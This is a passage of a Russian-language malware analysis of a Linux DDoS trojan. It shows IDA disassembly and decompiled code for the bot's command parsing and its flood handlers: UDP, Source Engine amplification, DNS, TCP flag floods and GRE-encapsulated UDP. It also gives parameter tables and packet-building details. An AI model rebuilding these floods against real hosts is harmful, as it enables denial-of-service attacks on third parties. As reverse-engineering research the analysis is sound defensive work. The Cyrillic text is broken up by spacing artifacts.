.text:0804B537                 add     esp, 0Ch

.text:0804B53A                 sub     esi, 2

.text:0804B53D                 push    0FFFFFFFFh

.text:0804B53F                 push    2

.text:0804B541                 mov     ebp, [esp+498h+ptr_to_third_comm_-
byte]

.text:0804B545                 push    ebp

.text:0804B546                 call    shiftBuffer

.text:0804B54B                 add     esp, 10h

.text:0804B54E                 jmp     entry_point_of_payload_execution

Если длин а н ен улевая, зап ускается о брабо тчик п о лучен н о й ко м ан ды :

text:0804B4D0 process_command:                        ; CODE XREF: main
+1C2j

.text:0804B4D0                 cmp     ax, 1

.text:0804B4D4                 jz      short loc_804B4DC

.text:0804B4D6                 cmp     ax, 1000h

.text:0804B4DA                 ja      short entry_point_of_payload_exe-
cution

.text:0804B4DC

.text:0804B4DC loc_804B4DC:                            ; CODE XREF: main
+174j

.text:0804B4DC                 cmp     ax, si

.text:0804B4DF                 ja      short entry_point_of_payload_exe-
cution

.text:0804B4E1                 sub     si, ax

.text:0804B4E4                 mov     ebx, eax

.text:0804B4E6                 and     ebx, 0FFFFh

.text:0804B4EC                 push    edx

.text:0804B4ED                 push    edx

.text:0804B4EE                 lea     eax, [ebx-2]

.text:0804B4F1                 push    eax             ; a2
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.text:0804B4F2                 mov     eax, [esp+498h+ptr_to_third_comm_-
byte]

.text:0804B4F6                 push    eax             ; a1

.text:0804B4F7                 call    process

.text:0804B4FC                 add     esp, 0Ch

.text:0804B4FF                 push    0FFFFFFFFh

.text:0804B501                 push    ebx

.text:0804B502                 lea     ebx, [edi+ebx]

.text:0804B505                 push    ebx

.text:0804B506                 call    shiftBuffer

.text:0804B50B                 add     esp, 10h

.text:0804B50E                 cmp     si, 1

.text:0804B512                 jbe     entry_point_of_payload_execution

process

Фун кция п рин им ает н а вхо д указатель н а третий байт п о лучен н о й ко м ан ды  и ее длин у, п о сле чего

н ачин ает разбирать аргум ен ты  ко м ан ды  и зап о лн ять со о тветствую щ ие структуры :

//структуры, представляющие собой данные, приходящие от сервера

struct target{

    uint32_t ip; //ip цели

    uint8_t  maskbits;  // если указаное число <=31, то целью будут
случайные хосты, полученные из ip случайной генерацией младших бит
maskbits 

}

 

struct param{

    uint8_t id;

    uint8_t len;

    uint8_t data[len]; 

}

//структуры, в которые они отображаются в троянце

struct target_parsed {

    uint32      target_ip;

    uint8       maskbits;

    sockaddr_in sockaddr;

}
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struct param_parsed {

    uint8   id;

    char *  data;

}

Ко д н ачала ан ализа заго ло вка п акета:

.text:0804BA60 head_packet_parse:                      ; CODE XREF: pro-
cess+12j

.text:0804BA60                 mov     edi, [esi+pkct_cmd.sleepTime] ;
ebx = size

.text:0804BA62                 ror     di, 8

.text:0804BA66                 ror     edi, 10h

.text:0804BA69                 ror     di, 8

.text:0804BA6D                 cmp     ebx, 4

.text:0804BA70                 jz      short ret_form_func

.text:0804BA72                 mov     al, [esi+pkct_cmd.cmd]

.text:0804BA75                 cmp     ebx, 5

.text:0804BA78                 mov     [esp+4Ch+var_39], al

.text:0804BA7C                 jz      short ret_form_func

.text:0804BA7E                 mov     al, [esi+pkct_cmd.host_count]

.text:0804BA81                 test    al, al

.text:0804BA83                 jz      short ret_form_func

.text:0804BA85                 and     eax, 0FFh

.text:0804BA8A                 lea     edx, [ebx-6]

.text:0804BA8D                 mov     [esp+4Ch+unprocessed_bytes], edx

.text:0804BA91                 mov     [esp+4Ch+target_count], eax

.text:0804BA95                 lea     ebp, [eax+eax*4]

.text:0804BA98                 cmp     edx, ebp

.text:0804BA9A                 jb      short ret_form_func

.text:0804BA9C                 lea     eax, [esi+pkct_cmd.target]

.text:0804BA9F                 mov     [esp+4Ch+var_18], eax

.text:0804BAA3                 push    eax

.text:0804BAA4                 push    eax

.text:0804BAA5                 push    18h             ; size

.text:0804BAA7                 mov     ecx, [esp+58h+target_count]

.text:0804BAAB                 push    ecx             ; nmemb

.text:0804BAAC                 call    _calloc
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.text:0804BAB1                 mov     [esp+5Ch+targets], eax

.text:0804BAB5                 add     esp, 10h

.text:0804BAB8                 mov     edx, [esp+4Ch+target_count]

.text:0804BABC                 test    edx, edx

.text:0804BABE                 jle     short end_target_parsing

Ко д разбо ра п рислан н ы х целей атаки:

.text:0804BAC7 parse_next_target:                      ; CODE XREF: pro-
cess+A3j

.text:0804BAC7                 mov     edx, [ecx+pkct_cmd.target.ip_addr]

.text:0804BACA                 mov     [esi+target_parsed.target_ip], edx

.text:0804BACC                 mov     al, [ecx+pkct_cmd.target.masksize]

.text:0804BACF                 add     ecx, 5

.text:0804BAD2                 mov     [esi+target_parsed.masksize], al

.text:0804BAD5                 mov     [esi+target_parsed.sockaddr.sin_-
family], 2

.text:0804BADB                 mov     [esi+target_parsed.sock-
addr.sin_addr.s_addr], edx

.text:0804BADE                 add     esi, 18h

.text:0804BAE1                 cmp     ecx, ebp

.text:0804BAE3                 jnz     short parse_next_target

.text:0804BAE5                 mov     edx, [esp+4Ch+target_count]

.text:0804BAE9                 add     ecx, 6

.text:0804BAEC                 mov     [esp+4Ch+var_18], ecx

.text:0804BAF0                 lea     eax, [edx+edx*4]

.text:0804BAF3                 sub     ebx, eax

.text:0804BAF5                 sub     ebx, 6

.text:0804BAF8                 mov     [esp+4Ch+unprocessed_bytes], ebx

Затем  тро ян ец о п ределяет, следует ли разбирать п ередаваем ы е п арам етры , и если это  так, п о сле

заверш ен ия разбо ра вы зы вается фун кция run_command:

.text:0804BAFC end_target_parsing:                     ; CODE XREF: pro-
cess+7Ej

.text:0804BAFC                 mov     eax, [esp+4Ch+unprocessed_bytes]

.text:0804BB00                 mov     [esp+4Ch+params_buffer], 0

.text:0804BB08                 test    eax, eax

.text:0804BB0A                 jz      short finish_processing ; no para-
m_cnt field = error

.text:0804BB0C                 mov     ebx, [esp+4Ch+var_18]
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.text:0804BB10                 mov     bl, [ebx]

.text:0804BB12                 mov     [esp+4Ch+param_cnt], bl

.text:0804BB16                 test    bl, bl

.text:0804BB18                 jnz     start_parse_params

.text:0804BB1E                 mov     [esp+4Ch+var_20], 0

.text:0804BB26 start_command_execution:                ; CODE XREF: pro-
cess+198j

.text:0804BB26                                         ; process+27Aj 

.text:0804BB26                 push    ebp

.text:0804BB27                 push    ebp

.text:0804BB28                 mov     esi, [esp+54h+params_buffer]

.text:0804BB2C                 xor     eax, eax

.text:0804BB2E                 push    esi

.text:0804BB2F                 mov     ebx, [esp+58h+param_count]

.text:0804BB33                 push    ebx

.text:0804BB34                 mov     ecx, [esp+5Ch+targets]

.text:0804BB38                 push    ecx

.text:0804BB39                 mov     edx, [esp+60h+targets_count]

.text:0804BB3D                 push    edx

.text:0804BB3E                 mov     al, [esp+64h+params]

.text:0804BB42                 push    eax

.text:0804BB43                 push    edi

.text:0804BB44                 call    run_command

run_command

Фун кция п рин им ает н а вхо д зн ачен ие врем ен и, н о м ер ко м ан ды , ко личество  и м ассив целей,

ко личество  и м ассив п арам етро в. В п ервую  о чередь вы п о лн яется п о иск н ео бхо дим о го

о брабо тчика:

.text:0804B937                 mov     bl, ds:handlers.length

.text:0804B93D                 mov     al, [esp+2Ch+number]

.text:0804B941                 test    bl, bl

.text:0804B943                 mov     [esp+2Ch+local_saved_number], al

.text:0804B947                 movzx   ebp, [esp+2Ch+target_count]

.text:0804B94C                 movzx   edi, [esp+2Ch+params_count]

.text:0804B951                 jz      short return    ; empty handlers

.text:0804B953                 mov     ecx, ds:handlers.handlers
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.text:0804B959                 xor     esi, esi

.text:0804B95B                 cmp     al, [ecx+cmd.number]

.text:0804B95D                 jz      short handler_found

.text:0804B95F                 xor     edx, edx

.text:0804B961                 jmp     short loc_804B977

.text:0804B963 ;
-------------------------------------------------------------------------
--

.text:0804B963

.text:0804B963 next_entry:                             ; CODE XREF: run_-
command+4Aj

.text:0804B963                 xor     eax, eax

.text:0804B965                 mov     al, dl

.text:0804B967                 lea     esi, ds:0[eax*8]

.text:0804B96E                 mov     al, [esp+2Ch+local_saved_number]

.text:0804B972                 cmp     [esi+ecx], al

.text:0804B975                 jz      short handler_found

.text:0804B977

.text:0804B977 loc_804B977:                            ; CODE XREF: run_-
command+31j

.text:0804B977                 inc     edx

.text:0804B978                 cmp     dl, bl

.text:0804B97A                 jnz     short next_entry

Затем  вы п о лн яется зап уск до черн их п ро цессо в:

handler_found:

pid_children = fork(); //parent

if ( pid_children <= 0 ) {

    if ( !pid_children ){

        pid_2 = fork();

        if ( pid_2 > 0 )

            exit(0); //child die, so parent returns to command execution

        if ( !pid_2){

            v6 = fork();

            if ( !v6 ){

              setsid();

              init_random();

              handlers.handlers[v7].func(target_count, targets, params_-
count, params); // run command
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              exit(0);

            }

            if ( v6 > 0 ){

              setsid();

              sleep(time);

              kill(v6, 9); //kills his child after $time seconds

              exit(0);

            }

        }

    }

}else{//parent waiting for children death

    LOBYTE(v6) = __libc_waitpid(pid_children, &status, 0);

}

О брабо тчики ко м ан д

.text:08048190 cmd15           proc near               ; CODE XREF: cm-
d15j

.text:08048190                                         ; DATA XREF:
fillCmdHandlers+27Ao

.text:08048190                 jmp     short cmd15

.text:08048190 cmd15           endp

.text:08048190

.text:08048190 ;
-------------------------------------------------------------------------
--

.text:08048192                 align 10h

.text:080481A0

.text:080481A0 ; =============== S U B R O U T I N E
=======================================

.text:080481A0

.text:080481A0 ; Attributes: noreturn

.text:080481A0

.text:080481A0 cmd16           proc near               ; CODE XREF: cm-
d16j

.text:080481A0                                         ; DATA XREF:
fillCmdHandlers+2B4o

.text:080481A0                 jmp     short cmd16

.text:080481A0 cmd16           endp

.text:080481A0
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.text:080481A0 ;
-------------------------------------------------------------------------
--

.text:080481A2                 align 10h

.text:080481B0

.text:080481B0 ; =============== S U B R O U T I N E
=======================================

.text:080481B0

.text:080481B0 ; Attributes: noreturn

.text:080481B0

.text:080481B0 cmd17           proc near               ; CODE XREF: cm-
d17j

.text:080481B0                                         ; DATA XREF:
fillCmdHandlers+2EBo

.text:080481B0                 jmp     short cmd17

.text:080481B0 cmd17           endp

.text:080481B0

О стальн ы е о брабо тчики действую т п о  следую щ ей схем е:

void handle(target *t, param *p){

    троянец получает параметры пакета

    для каждой из целей создается свой пакет

    пока 1 {

        для каждой из целей 

            если (maskbits <= 31), то выбирается новый IP для цели

            оправляется пакет

    }

}

cmd0 – UDP Flood

В п ервую  о чередь о сущ ествляется разбо р п рислан н ы х п арам етро в:

v23 = calloc(target_count, 4u);

TOS = getNumberOrDefault(params_count, params, 2, 0);

ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);

TTL = getNumberOrDefault(params_count, params, 4, 64);

fragmentation = getNumberOrDefault(params_count, params, 5, 0);

sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
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dport = getNumberOrDefault(params_count, params, 7, 0xFFFF);

packetSize = getNumberOrDefault(params_count, params, 0, 512);

needFillRandom = getNumberOrDefault(params_count, params, 1, 1);

Фун кция getNumberOrDefault им еет следую щ ую  сигн атуру:

int __cdecl getNumberOrDefault(unsigned __int8 length, param2 *param,
char id, int default)

О н а во звращ ает зн ачен ие из м ассива п арам етро в с указан н ы м  id или зн ачен ие default, если

задан н о го  id н е н айден о . Зн ачен ия п о ля id:

Id Зн ачен ие

0 М ен яется о т о брабо тчика. О зн ачает либо  длин у всего  п акета, либо  длин у дан н ы х

1 Для н еко то ры х тип о в атак о п ределяет, н ужн о  ли ген ериро вать случайн ы е дан н ы е в

п акете

2 ip_header.TOS

3 ip_header.identification

4 ip_header.TTL

5 ip_header.flags << 13 | ip_header.fragment

6 source port

7 dest port

8 Хо ст в DNS-зап ро се.

9 П арам етры  для DNS-зап ро са.

11 TCP.urgent_flag

12 TCP.ack_flag

13 TCP.psh_flag

14 TCP.rst_flag

15 TCP.syn_flag

16 TCP.fin_flag

17 TCP.Sequence_number

19 Указы вает, со вп адает ли ip.dstAddr во  вло жен н о м  в GRE-п акете с ip.destAddr вн еш н его

п акета
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Id Зн ачен ие

20 Зап раш иваем ая стран ица

22 Зн ачен ие заго ло вка host

Далее тро ян ец со здает «сы ро й» со кет и зап о лн яет IP-заго ло во к:

.text:0804AB7F                 push    IPPROTO_UDP

.text:0804AB81                 push    SOCK_RAW

.text:0804AB83                 push    AF_INET

.text:0804AB85                 call    ___GI_socket

.text:0804AB8A                 mov     [esp+6Ch+fd], eax

.text:0804AB8E                 add     esp, 10h

.text:0804AB91                 inc     eax

.text:0804AB92                 jz      loc_804AE5E

.text:0804AB98                 mov     [esp+5Ch+var_14], 1

.text:0804ABA0                 sub     esp, 0Ch

.text:0804ABA3                 push    4

.text:0804ABA5                 lea     eax, [esp+6Ch+var_14]

.text:0804ABA9                 push    eax

.text:0804ABAA                 push    IP_HDRINCL

.text:0804ABAC                 push    SOL_IP

.text:0804ABAE                 mov     ebx, [esp+78h+fd]

.text:0804ABB2                 push    ebx

.text:0804ABB3                 call    ___GI_setsockopt

П о сле это го  для каждо й п рислан н о й цели ген ерируется п о  заго ло вку IP/UDP-дейтаграм м ы :

do {

    target_packet_headers[v4] = calloc(0x5E6u, 1u);     current_ipudp_-
header = target_packet_headers[counter];

    current_ipudp_header->header.ip.Version = 69;

    current_ipudp_header->header.ip.TOS = TOS;

    v6 = htons(packetSize + 28, 8);

    current_ipudp_header->header.ip.totalLength = v6;

    current_ipudp_header->header.ip.TTL = TTL;

    v7 = htons(ident, 8);

    current_ipudp_header->header.ip.ident = v7;

    if ( fragmentation )
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        current_ipudp_header->header.ip.frag_offs = 64;

    current_ipudp_header->header.ip.protocol = IPPROTO_UDP;

    current_ipudp_header->header.ip.src_addr = selfaddr;

    current_ipudp_header->header.ip.dst_addr = targets[counter].tar-
get_ip;

    v9 = __ROR2__(sport, 8);

    current_ipudp_header->header.udp.sport = v9;

    v10 = __ROR2__(dport, 8);

    current_ipudp_header->header.udp.dport = v10;

    v11 = __ROR2__(packetSize + 8, 8);

    current_ipudp_header->header.udp.length = v11;

    counter++;

}while ( target_count > counter );

Затем  в цикле н а задан н ы е цели о тп равляю тся п акеты . Если для цели указан  maskbits <= 31, 

ген ерируется случайн ая цель. П ри это м , если зн ачен ия п арам етро в ident, dport и sport равн ы

0xffff, то  для каждо го  п акета эти п арам етры  будут ген ериро ваться случайн ы м  о бразо м , а если

устан о влен  со о тветствую щ ий п арам етр, будет п ро изведен а ген ерация тела п акета:

text:0804ADF3 rand_indent:                            ; CODE XREF: cm-
d0_udp_random+233j

.text:0804ADF3                 call    rand_cmwc

.text:0804ADF8                 cmp     [esp+5Ch+sourcePort], 0FFFFh

.text:0804ADFE                 mov     [esi+ipudp_0.header._ip.ident], ax

.text:0804AE02                 jnz     sport_is_const

.text:0804AE08 rand_sport:                             ; CODE XREF: cm-
d0_udp_random+23Fj

.text:0804AE08                 call    rand_cmwc

.text:0804AE0D                 cmp     [esp+5Ch+destPort], 0FFFFh

.text:0804AE13                 mov     [esi+ipudp_0.header.udp.sport], ax

.text:0804AE17                 jnz     dport_is_const

.text:0804AE1D rand_dport:                             ; CODE XREF: cm-
d0_udp_random+24Bj

.text:0804AE1D                 call    rand_cmwc

.text:0804AE22                 cmp     [esp+5Ch+needFillRandom], 0

.text:0804AE27                 mov     [edi+udp_packet.dport], ax

.text:0804AE2B                 jz      send_packet

.text:0804AE31 loc_804AE31:                            ; CODE XREF: cm-
d0_udp_random+256j

.text:0804AE31                 push    eax
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.text:0804AE32                 push    eax

.text:0804AE33                 mov     eax, dword ptr [esp+64h
+size_of_packet]

.text:0804AE37                 and     eax, 0FFFFh

.text:0804AE3C                 push    eax             ; a2

.text:0804AE31 loc_804AE31:                            ; CODE XREF: cm-
d0_udp_random+256j

.text:0804AE31                 push    eax

.text:0804AE32                 push    eax

.text:0804AE33                 mov     eax, dword ptr [esp+64h
+size_of_packet]

.text:0804AE37                 and     eax, 0FFFFh

.text:0804AE3C                 push    eax             ; a2

.text:0804AE3D                 lea     eax, [esi+ipudp_0.data]

.text:0804AE40                 push    eax             ; a1

.text:0804AE41                 call    fillBufRandom

.text:0804AE46                 add     esp, 10h

.text:0804AE49                 jmp     send_packet

П о сле это го  тро ян ец п о дсчиты вает ко н тро льн ы е сум м ы  и п ерехо дит к следую щ ей цели. Это

п ро до лжается до  тех п о р, п о ка п ро цесс н е будет заверш ен :

.text:0804AD1C send_packet:                            ; CODE XREF: cm-
d0_udp_random+36Bj

.text:0804AD1C                                         ; cmd0_udp_random
+389j

.text:0804AD1C                 mov     word ptr [esi+0Ah], 0

.text:0804AD22                 push    eax

.text:0804AD23                 push    eax

.text:0804AD24                 push    14h

.text:0804AD26                 push    esi

.text:0804AD27                 call    calcIPCheckSum

.text:0804AD2C                 mov     [esi+0Ah], ax

.text:0804AD30                 mov     word ptr [edi+6], 0

.text:0804AD36                 push    ebx             ; a4

.text:0804AD37                 mov     ax, [edi+4]

.text:0804AD3B                 and     eax, 0FFFFh

.text:0804AD40                 push    eax             ; a3

.text:0804AD41                 push    edi             ; a2

.text:0804AD42                 push    esi             ; a1
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.text:0804AD43                 call    calcUDPChecksum

.text:0804AD48                 mov     [edi+6], ax

.text:0804AD4C                 mov     eax, [esp+7Ch+counter]

.text:0804AD50                 mov     ecx, [esp+7Ch+targets]

.text:0804AD57                 mov     dx, [edi+2]

.text:0804AD5B                 lea     eax, [eax+eax*2]

.text:0804AD5E                 add     esp, 18h

.text:0804AD61                 shl     eax, 3

.text:0804AD64                 mov     [eax+ecx+0Ah], dx

.text:0804AD69                 lea     eax, [ecx+eax+8]

.text:0804AD6D                 push    10h

.text:0804AD6F                 push    eax

.text:0804AD70                 push    4000h

.text:0804AD75                 push    ebp

.text:0804AD76                 push    esi

.text:0804AD77                 mov     esi, [esp+78h+fd]

.text:0804AD7B                 push    esi

.text:0804AD7C                 call    ___libc_sendto

.text:0804AD81                 mov     eax, [esp+7Ch+counter]

.text:0804AD85                 inc     eax

.text:0804AD86                 mov     [esp+7Ch+counter], eax

.text:0804AD8A                 add     esp, 20h

.text:0804AD8D                 cmp     eax, [esp+5Ch+target_count_2]

.text:0804AD91                 jl      send_to_next_target

.text:0804AD97                 mov     ecx, [esp+5Ch+target_count_2]

.text:0804AD9B                 test    ecx, ecx

.text:0804AD9D                 jmp     and_again

cmd1 – Source Engine Amplification

Рабо тает ан ало гичн о  п реды дущ ей ко м ан де, о дн ако  со держим о е п акета извлекается из

ко н фигурации:

TOS = getNumberOrDefault(params_count, params, 2, 0);

ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);

TTL = getNumberOrDefault(params_count, params, 4, 64);

frag = getNumberOrDefault(params_count, params, 5, 0);

sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
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dport = getNumberOrDefault(params_count, params, 7, 27015); //constant by
default

tsource = (char *)get_data_from_config(8);  // get "TSource Engine Query"

cmd2 – DNS flood

Эта ко м ан да исп о льзует ан ало гичн ы е п реды дущ им  п арам етры , к ко то ры м  до бавляется зн ачен ие 

transaction_id для DNS-п акета и до м ен н о е им я, ко то ро е н ео бхо дим о  зап ро сить:

TOS = getNumberOrDefault(params_count, params, 2, 0);

ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);

TTL = getNumberOrDefault(params_count, params, 4, 64);

frag = getNumberOrDefault(params_count, params, 5, 0);

sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);

dport = getNumberOrDefault(params_count, params, 7, 53);

transaction_id_1 = getNumberOrDefault(params_count, params, 9, 0xFFFF);

random_data_length = getNumberOrDefault(params_count, params, 0, 12);

query = getString(params_count, params, 8, 0);

Фо рм ируется п акет со  ста зап ро сам и различн ы х до м ен о в и о тсы лается н а указан н ы й адрес. П ри

это м  вы ставляется флаг Recursion desired:

.text:0804A4D3                 mov     [ecx+dnsheader.flags], 1 ; Do re-
quest reqursively

.text:0804A4D9                 mov     [ecx+dnsheader.qdcount], 100h ;
One Request

.text:0804A4DF                 mov     [edx+ipudp_2.queries], al  ; size
of random generated 

.text:0804A4E2                 mov     ecx, [esp+6Ch+random_data_length]

.text:0804A4E6                 push    eax

.text:0804A4E7                 mov     eax, [esp+70h+length_of_domain]

.text:0804A4EB                 push    eax             ; a3

.text:0804A4EC                 lea     ebx, [edx+ecx+(ipudp_2.queries
+1)] 

.text:0804A4F0                 mov     eax, [esp+74h+domain_query]

.text:0804A4F4                 push    eax             ; a2

.text:0804A4F5                 lea     eax, [ebx+1]

.text:0804A4F8                 push    eax             ; a1

.text:0804A4F9                 call    strncpy

.text:0804A4FE                 add     esp, 10h

.text:0804A501                 mov     esi, [esp+6Ch+length_of_str]



35
35

.text:0804A505                 test    esi, esi

.text:0804A507                 jle     loc_804A71E

.text:0804A50D                 mov     edx, ebx

.text:0804A50F                 xor     ecx, ecx

.text:0804A511                 mov     eax, 1

.text:0804A516                 jmp     short check_char_in_query

.text:0804A518 ;
-------------------------------------------------------------------------
--

.text:0804A518 not_dot:                                ; CODE XREF: cm-
d2_dns_flood+29Dj

.text:0804A518                 inc     ecx             ; parsing query

.text:0804A519

.text:0804A519 not_very_efficient_loop:                ; CODE XREF: cm-
d2_dns_flood+2A6j

.text:0804A519                 inc     eax

.text:0804A51A                 cmp     eax, [esp+6Ch+random_data_length]

.text:0804A51E                 jz      loc_804A6E9

.text:0804A524

.text:0804A524 check_char_in_query:                    ; CODE XREF: cm-
d2_dns_flood+286j

.text:0804A524                 mov     esi, [esp+6Ch+domain_query]

.text:0804A528                 cmp     byte ptr [eax+esi-1], '.'

.text:0804A52D                 jnz     short not_dot   ; parsing query

.text:0804A52F                 mov     [edx], cl

.text:0804A531                 lea     edx, [ebx+eax]

.text:0804A534                 xor     ecx, ecx

.text:0804A536                 jmp     short not_very_efficient_loop

И м я зап раш иваем о го  хо ста ген ерируется следую щ им  о бразо м : п о ле 0 задает длин у случайн о

ген ерируем о го  п рефикса. К н ем у до бавляется стро ка, ко то рая п ередается в п арам етре с id = 8.

cmd3 – TCP flood 2 options

Ко м ан да п редн азн ачен а для о тп равки н а указан н ы е цели TCP-п акето в. Через п арам етры

п о зво ляет указы вать зн ачен ия TCP-флаго в. И сп о льзуем ы е п арам етры :

TOS = getNumberOrDefault(params_count, params, 2, 0);

ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);

TTL = getNumberOrDefault(params_count, params, 4, 64);

frag = getNumberOrDefault(params_count, params, 5, 1);
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sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);

dport = getNumberOrDefault(params_count, params, 7, 0xFFFF);

seq = getNumberOrDefault(params_count, params, 17, 0xFFFF);

v32 = getNumberOrDefault(params_count, params, 18, 0);

urgent_flag = getNumberOrDefault(params_count, params, 11, 0);

ack_flag = getNumberOrDefault(params_count, params, 12, 0);

psh_flag = getNumberOrDefault(params_count, params, 13, 0);

rst_flag = getNumberOrDefault(params_count, params, 14, 0);

syn_flag = getNumberOrDefault(params_count, params, 15, 1);

fin_flag = getNumberOrDefault(params_count, params, 16, 0);

Устан о вка флаго в в п акете:

.text:0804A016                 mov     [esi+tcp_packet.seq], eax

.text:0804A019                 mov     al, byte ptr [esi
+tcp_packet.flags]

.text:0804A01C                 and     eax, 0Fh

.text:0804A01F                 or      eax, 0FFFFFFA0h ; set packet size
as 10 dwords (40 bytes)

.text:0804A022                 mov     byte ptr [esi+tcp_packet.flags],
al

.text:0804A025                 mov     al, byte ptr [esi
+(tcp_packet.flags+1)]

.text:0804A028                 and     eax, 0FFFFFFCFh ; 0x11001111

.text:0804A02B                 mov     dl, [esp+6Ch+ack_flg]

.text:0804A02F                 or      al, [esp+6Ch+urgent_flg_shifted]

.text:0804A033                 mov     cl, [esp+6Ch+push_flag]

.text:0804A037                 shl     edx, 4

.text:0804A03A                 shl     ecx, 3

.text:0804A03D                 or      eax, edx

.text:0804A03F                 and     eax, 0FFFFFFF3h ; 0x11110011

.text:0804A042                 mov     dl, [esp+6Ch+rst_flg]

.text:0804A046                 shl     edx, 2

.text:0804A049                 or      eax, ecx

.text:0804A04B                 or      eax, edx

.text:0804A04D                 mov     dl, [esp+6Ch+syn_flag]

.text:0804A051                 add     edx, edx

.text:0804A053                 and     eax, 0FFFFFFFCh

.text:0804A056                 or      eax, edx
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.text:0804A058                 or      eax, edi

.text:0804A05A                 mov     byte ptr [esi+(tcp_packet.flags
+1)], al

П о м им о  это го   в п акете устан авливаю тся TCP-п арам етры  с н о м ерам и 2 и 8 – maximum segment

size и timestamp:

.text:0804A05D                 mov     byte ptr [ebx+28h], TCPOPT_MAXSEG

.text:0804A061                 mov     byte ptr [ebx+29h], 4

.text:0804A065                 call    rand_cmwc

.text:0804A06A                 mov     byte ptr [ebx+2Ch], 4

.text:0804A06E                 and     eax, 0Fh

.text:0804A071                 mov     byte ptr [ebx+2Dh], 2

.text:0804A075                 add     eax, 578h

.text:0804A07A                 mov     byte ptr [ebx+2Eh],
TCPOPT_TIMESTAMP

.text:0804A07E                 ror     ax, 8

.text:0804A082                 mov     byte ptr [ebx+2Fh], 0Ah

.text:0804A086                 mov     [ebx+2Ah], ax

.text:0804A08A                 call    rand_cmwc

.text:0804A08F                 mov     dword ptr [ebx+34h], 0

.text:0804A096                 mov     [ebx+30h], eax

.text:0804A099                 mov     byte ptr [ebx+38h], 1

.text:0804A09D                 mov     byte ptr [ebx+39h], 3

.text:0804A0A1                 mov     byte ptr [ebx+3Ah], 3

.text:0804A0A5                 mov     byte ptr [ebx+3Bh], 6

П о сле фо рм иро ван ия п акет о тп равляется без каких-либо  дан н ы х.

cmd4 – TCP flood random

Ко м ан да рабо тает ан ало гичн о  п реды дущ ей, о дн ако  TCP-п арам етры  в п акете н е устан авливаю тся.

Если устан о влен  со о тветствую щ ий флаг, в п акет зап исы ваю тся случайн ы е дан н ы е.

cmd6 – TCP flood 1 option

Ко м ан да ан ало гичн а cmd3, о дн ако  устан авливается лиш ь о дин  п арам етр:

.text:08049656                 mov     byte ptr [esi+iptcp_6.data],
TCPOPT_NOP
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.text:0804965A                 mov     byte ptr [esi+(iptcp_6.data+1)],
TCPOPT_NOP

.text:0804965E                 mov     byte ptr [esi+2Ah],
TCPOPT_TIMESTAMP

.text:08049662                 mov     byte ptr [esi+2Bh], 0Ah

.text:08049666                 lea     ebx, [esi+2Ch]

.text:08049669                 call    rand_cmwc

.text:0804966E                 mov     [esi+2Ch], eax

.text:08049671                 call    rand_cmwc

.text:08049676                 mov     [ebx+4], eax

cmd7 – TCP flood simple

В о тличие о т п реды дущ их м ето до в, п ри вы п о лн ен ии это й ко м ан ды  задается лиш ь п о рт и разм ер

о тп равляем ы х дан н ы х. Для о тп равлен ия сам о й атаки устан авливается п о лн о цен н о е TCP-

со един ен ие с исп о льзо ван ием  со кето в:

port = getNumberOrDefault(params_count, params, 7, 80);

size = getNumberOrDefault(params_count, params, 0, 1024);

useRandom = getNumberOrDefault(params_count, params, 1, 1);

cmd8 UDP flood over GRE

Ко м ан да о тп равляет UDP-п акеты  с исп о льзо ван ием  п ро то ко ла GRE. И сп о льзует следую щ ие

п арам етры :

TOS = getNumberOrDefault(params_count, param, 2, 0);

ident = getNumberOrDefault(params_count, param, 3, 0xFFFF);

TTL = getNumberOrDefault(params_count, param, 4, 64);

frag = getNumberOrDefault(params_count, param, 5, 1);

sport = getNumberOrDefault(params_count, param, 6, 0xFFFF);

dport = getNumberOrDefault(params_count, param, 7, 0xFFFF);

payloadLength = getNumberOrDefault(params_count, param, 0, 512);

fillRandom = getNumberOrDefault(params_count, param, 1, 1);

useSameAddr = getNumberOrDefault(params_count, param, 19, 0); //inner
ip.dstAddr == outer ip.dstAddr

Фо рм иро ван ие GRE-п акета о сущ ествляется следую щ им  о бразо м :

.text:08048F57 loc_8048F57:                            ; CODE XREF: cm-
d8_GRE_udp_random+1EFj
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.text:08048F57                 mov     [ebx+ipgre8._ip.protocol],
IPPROTO_GRE

.text:08048F5B                 mov     [edx+gre_packet.protocolType], 8 ;
IP protocol

.text:08048F61                 mov     eax, ds:selfaddr

.text:08048F66                 mov     ecx, [esp+5Ch+arg_4]

.text:08048F6A                 mov     [ebx+ipgre8._ip.src_addr], eax

.text:08048F6D                 mov     eax, [esp+5Ch+counter]

.text:08048F71                 lea     eax, [eax+eax*2]

.text:08048F74                 mov     eax, [ecx+eax*8]

.text:08048F77                 mov     [ebx+ipgre8.ip_in-
ner.header._ip.Version], 45h

.text:08048F7B                 mov     [ebx+ipgre8._ip.dst_addr], eax

.text:08048F7E                 mov     al, [esp+5Ch+TOS]

.text:08048F82                 mov     [esi+ipudp._ip.TOS], al

.text:08048F85                 mov     dl, [esp+5Ch+TTL]

.text:08048F89                 mov     eax, dword ptr [esp+5Ch+inner-
_length]

.text:08048F8D                 ror     ax, 8

.text:08048F91                 mov     [esi+ipudp._ip.totalLength], ax

.text:08048F95                 mov     ax, [esp+5Ch+ident_inner]

.text:08048F9A                 mov     [esi+ipudp._ip.TTL], dl

.text:08048F9D                 ror     ax, 8

.text:08048FA1                 cmp     [esp+5Ch+frag], 0

.text:08048FA6                 mov     [esi+ipudp._ip.ident], ax

.text:08048FAA                 jz      short loc_8048FB2

.text:08048FAC                 mov     [esi+ipudp._ip.frag_offs], 40h

.text:08048FB2

.text:08048FB2 loc_8048FB2:                            ; CODE XREF: cm-
d8_GRE_udp_random+24Aj

.text:08048FB2                 mov     [esi+ipudp._ip.protocol],
IPPROTO_UDP

.text:08048FB6                 call    rand_cmwc

.text:08048FBB                 cmp     [esp+5Ch+var_27], 0

.text:08048FC0                 mov     [esi+ipudp._ip.src_addr], eax

.text:08048FC3                 jnz     use_same

.text:08048FC9                 sub     eax, 400h

.text:08048FCE                 xor     eax, 0FFFFFFFFh

.text:08048FD1                 mov     [esi+ipgre8._ip.dst_addr], eax
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.text:08048FD4                 jmp     loc_8048EC3

cmd10 GRE Packet using Transparent Ethernet Bridging

